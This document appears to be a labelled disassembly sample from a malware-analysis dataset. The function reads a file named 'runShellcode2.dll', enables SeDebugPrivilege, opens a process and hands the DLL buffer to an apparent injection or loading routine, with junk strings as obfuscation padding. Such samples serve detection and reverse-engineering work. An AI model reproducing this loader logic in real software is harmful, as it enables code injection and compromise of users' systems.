Function at 0x180002010
Capabilities:
Acquire debug privileges
Get file size
Read file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0x328
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x318], rax
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x2a8]
lea rcx, str.YBtIKjUcSJOWxseLFkXGiCrbMfdhqnoyVNTDuplRzHZaEwgQv
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x138], 0
mov byte [rsp + 0x44], 0x46
mov eax, 5
mov word [rsp + 0xb0], ax
mov qword [rsp + 0x140], 0
mov qword [rsp + 0xc8], 0
mov dword [rsp + 0x100], 3
mov eax, 1
mov word [rsp + 0xb4], ax
mov byte [rsp + 0x45], 0x63
mov qword [rsp + 0x148], 0
mov eax, 3
mov word [rsp + 0xb8], ax
lea rax, [rsp + 0x278]
lea rcx, str.PZvDGceECiNrmnjJUFYSRWughBOVpMHkLsoIaQxbqy
mov rdi, rax
mov rsi, rcx
mov ecx, 0x2b
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0xc0], 0
mov dword [rsp + 0x104], 9
mov qword [rsp + 0x2e0], 0
mov qword [rsp + 0x150], 8
lea rax, [rsp + 0xd0]
lea rcx, [0x1800055b4]
mov rdi, rax
mov rsi, rcx
mov ecx, 3
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x68], 0
xor eax, eax
mov word [rsp + 0xbc], ax
mov dword [rsp + 0x40], 0
mov eax, 3
mov word [rsp + 0x70], ax
mov eax, 3
mov word [rsp + 0x74], ax
mov qword [rsp + 0x158], 0
mov dword [rsp + 0x2e8], 0
mov dword [rsp + 0x108], 1
mov eax, 5
mov word [rsp + 0x78], ax
mov dword [rsp + 0x5c], 0
mov qword [rsp + 0x160], 5
mov dword [rsp + 0xd4], 3
mov byte [rsp + 0x46], 1
lea rax, [rsp + 0x118]
lea rcx, str.gFehZ
mov rdi, rax
mov rsi, rcx
mov ecx, 6
rep movsb byte [rdi], byte [rsi]
xor eax, eax
mov word [rsp + 0x7c], ax
mov qword [rsp + 0x168], 0
mov eax, 7
mov word [rsp + 0x80], ax
lea rax, [rsp + 0x2f0]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov byte [rsp + 0x47], 0x55
lea rax, [rsp + 0x300]
lea rcx, str.runShellcode2.dll
mov rdi, rax
mov rsi, rcx
mov ecx, 0x12
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x170], 5
mov byte [rsp + 0x48], 0x59
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x5c], eax
mov byte [rsp + 0x49], 1
mov byte [rsp + 0x4a], 0x57
mov dword [rsp + 0xd8], 6
mov qword [rsp + 0x178], 0
lea rdx, str.OgTMurGmoVyW
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180002870
lea rdx, [0x180002bf0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rax, [rsp + 0x120]
lea rcx, str.NZuEe
mov rdi, rax
mov rsi, rcx
mov ecx, 6
rep movsb byte [rdi], byte [rsi]
mov byte [rsp + 0x4b], 0x63
mov byte [rsp + 0x4c], 1
mov qword [rsp + 0x180], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
lea rcx, [rsp + 0x300]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x60], rax
mov dword [rsp + 0xdc], 7
mov eax, 1
mov word [rsp + 0x84], ax
mov eax, 3
mov word [rsp + 0x88], ax
mov qword [rsp + 0x188], 8
mov byte [rsp + 0x4d], 0x57
mov byte [rsp + 0x4e], 1
cmp qword [rsp + 0x60], 0xffffffffffffffff
jne 0x18000232b
lea rcx, str.Failed_to_open_the_DLL_file
call fcn.180001060
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0xffffffff
je 0x18000234a
cmp dword [rsp + 0x40], 0
jne 0x180002356
lea rcx, [0x180005610]
call fcn.180001060
mov eax, dword [rsp + 0x40]
mov qword [rsp + 0x110], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, qword [rsp + 0x110]
mov r8, rcx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x190], 8
mov byte [rsp + 0x4f], 0x65
mov byte [rsp + 0x50], 1
cmp qword [rsp + 0x68], 0
jne 0x1800023ad
lea rcx, str.Failed_to_get_the_DLL_file_size
call fcn.180001060
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x2e8]
mov r8d, dword [rsp + 0x40]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1800023e3
lea rcx, str.Failed_to_alloc_a_buffer_
call fcn.180001060
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x2e0]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x180002555
mov dword [rsp + 0x2f0], 1
mov qword [rsp + 0x198], 5
mov byte [rsp + 0x51], 0x4d
mov eax, 1
mov word [rsp + 0x8c], ax
lea rax, [rsp + 0x250]
lea rcx, str.wjnQVOFbWRDpaXMtkULZPYrElihJoHmGqSf
mov rdi, rax
mov rsi, rcx
mov ecx, 0x24
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x1a0], 0
mov dword [rsp + 0xe0], 6
mov byte [rsp + 0x52], 1
mov eax, 0xc
imul rax, rax, 0
mov dword [rsp + rax + 0x2fc], 2
mov byte [rsp + 0x53], 0x57
mov qword [rsp + 0x1a8], 0
mov eax, 3
mov word [rsp + 0x90], ax
mov eax, 0xc
imul rax, rax, 0
lea rax, [rsp + rax + 0x2f4]
mov r8, rax
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x1800024ee
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rsp + 0x2f0]
xor edx, edx
mov rcx, qword [rsp + 0x2e0]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x2e0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 5
mov word [rsp + 0x94], ax
mov qword [rsp + 0x1b0], 2
mov dword [rsp + 0xe4], 7
lea rax, [rsp + 0x230]
lea rcx, str.phNdDvZSxFOGrQEInkUyCmLgcq
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1b
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x128], 0
mov eax, 5
mov word [rsp + 0x98], ax
mov r8d, dword [rsp + 0x5c]
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0x130], 0
mov dword [rsp + 0xe8], 8
mov eax, 2
mov word [rsp + 0x9c], ax
mov qword [rsp + 0x1b8], 0
mov byte [rsp + 0x54], 1
cmp qword [rsp + 0xc0], 0
jne 0x1800025bb
lea rcx, str.Failed_to_open_the_target_process
call fcn.180001060
xor r9d, r9d
mov r8d, dword [rsp + 0x40]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0xc0]
call fcn.180003780
mov qword [rsp + 0xc8], rax
mov qword [rsp + 0x1c0], 0
mov byte [rsp + 0x55], 0x41
mov qword [rsp + 0x1c8], 3
xor eax, eax
mov word [rsp + 0xa0], ax
mov dword [rsp + 0xec], 3
cmp qword [rsp + 0xc8], 0
jne 0x180002626
lea rcx, str.Failed_to_LceFMDVE_the_DLL
call fcn.180001060
mov qword [rsp + 0x1d0], 0
mov byte [rsp + 0x56], 0x63
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x1d8], 6
mov dword [rsp + 0xf0], 4
mov eax, 3
mov word [rsp + 0xa4], ax
xor eax, eax
test eax, eax
jne 0x180002225
mov qword [rsp + 0x1e0], 0
mov eax, 5
mov word [rsp + 0xa8], ax
mov byte [rsp + 0x57], 1
mov byte [rsp + 0x58], 0x58
mov dword [rsp + 0xf4], 6
mov qword [rsp + 0x1e8], 4
mov qword [rsp + 0x1f0], 0
lea rax, [rsp + 0x218]
lea rcx, str.tEDhKPHdasVmfkBnX
mov rdi, rax
mov rsi, rcx
mov ecx, 0x12
rep movsb byte [rdi], byte [rsi]
mov byte [rsp + 0x59], 1
mov byte [rsp + 0x5a], 0x78
mov dword [rsp + 0xf8], 0
xor eax, eax
jmp 0x18000273c
mov rcx, qword [rsp + 0x318]
xor rcx, rsp
call fcn.180003ce0
add rsp, 0x328
pop rdi
pop rsi
ret